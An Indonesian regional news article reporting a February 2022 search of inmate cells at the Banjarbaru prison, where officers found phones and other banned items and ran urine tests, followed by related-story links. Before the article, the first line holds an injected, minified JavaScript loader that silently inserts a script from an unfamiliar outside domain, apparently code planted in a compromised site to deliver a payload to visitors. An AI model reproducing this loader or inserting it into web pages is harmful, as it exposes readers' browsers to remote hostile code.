(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tim Satops Patnal Lembaga Permasyarakatan (Lapas) Kelas IIB Banjarbaru kembali menggelar razia di sejumlah kamar hunian Warga Binaan Permasyarakatan (WBP), Kamis (17/2/2022) malam.
Kegiatan tersebut dipimpin langsung oleh Plt Kepala Kantor Wilayah Kemenkumham Kalimantan Selatan, Heni Susila Wardoyo, didampingi Sri Yuwono, Kepala Divisi Pemasyarakatan, dan Kepala Lapas Banjarbaru, Amico Balalembang.
Penggeledahan yang dilakukan petugas selama kurang lebih satu jam menemukan berbagai barang-barang terlarang. Mulai dari kabel listrik, korek api, hingga tiga unit handphone. Tak hanya itu, pada kegiatan malam ini juga turut dilakukan tes urine terhadap sejumlah WBP.
“Ada beberapa barang terlarang yang kita temukan. Langsung kita hancurkan. Sementara dari hasil tes urine sejumlah WBP menunjukan hasil negatif. Artinya tidak ditemukan adanya konsumsi narkoba di dalam Lapas,” ujar Kepala Divisi Pemasyarakatan, Sri Yuwono.
Baca juga : Bobol Uang ATM Hingga Rp 2,4 Miliar, Mantan Teknisi Terancam Penjara 8 Tahun
Razia yang digelar malam ini, kata Sri Yuwono, memang dilakukan secara intern. Tren kenaikan kasus Covid-19 yang saat ini tengah terjadi di Kalimantan Selatan membuat pihaknya melakukan prosedur yang cukup ketat.
“Kita tidak bisa menjamin yang datang dan masuk apakah positif atau negatif. Sehingga lebih dulu kami melakukan tes swab dulu. Kalau hasilnya negatif baru bisa masuk ke sini,” tegasnya.
Ia menjelaskan bahwa penggeledahan di kamar hunian WBP merupakan upaya deteksi dini demi mengantisipasi hal yang tidak diinginkan. “Jangan sampai nanti ada narkoba atau barang terlarang lainnya, termasuk juga HP, jadi kita lakukan penggeledahan rutin dan insidentil,” bebernya.
Sementara itu, Plt Kepala Kanwil Kemenkumham Kalsel, Heni Susila Wardoyo, memastikan bahwa operasi razia yang dilakukan pihaknya tersebut tidak ada rekayasa. Ia menceritakan telah menerapkan prosedur yang seharusnya secara teliti dan menyeluruh.
Baca juga : BNNK Banjarbaru Didapuk jadi Asesor Program Rehabilitasi untuk 250 WBP Lapas Banjarbaru
“Karena saya ikut selama penggeledahan di dalam tadi. Dan kita bersyukur pemeriksaan kali ini berjalan dengan kondusif dan aman,” tuturnya.
Heni mengatakan dirinya mengikuti pemeriksaan yang dilakukan tersebut untuk menunjukkan komitmen Kemenkumham dalam pembinaan WBP. “Saya datang ke sini untuk memastikan bahwa pemeriksaan ini dilaksanakan dengan baik. Memang kami tidak memeriksa secara keseluruhan, tapi kegiatan ini akan dilaksanakan secara berkesinambungan. Ini wujud komitmen kami dalam membina WBP selama menjalani masa hukumannya,” tuntasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.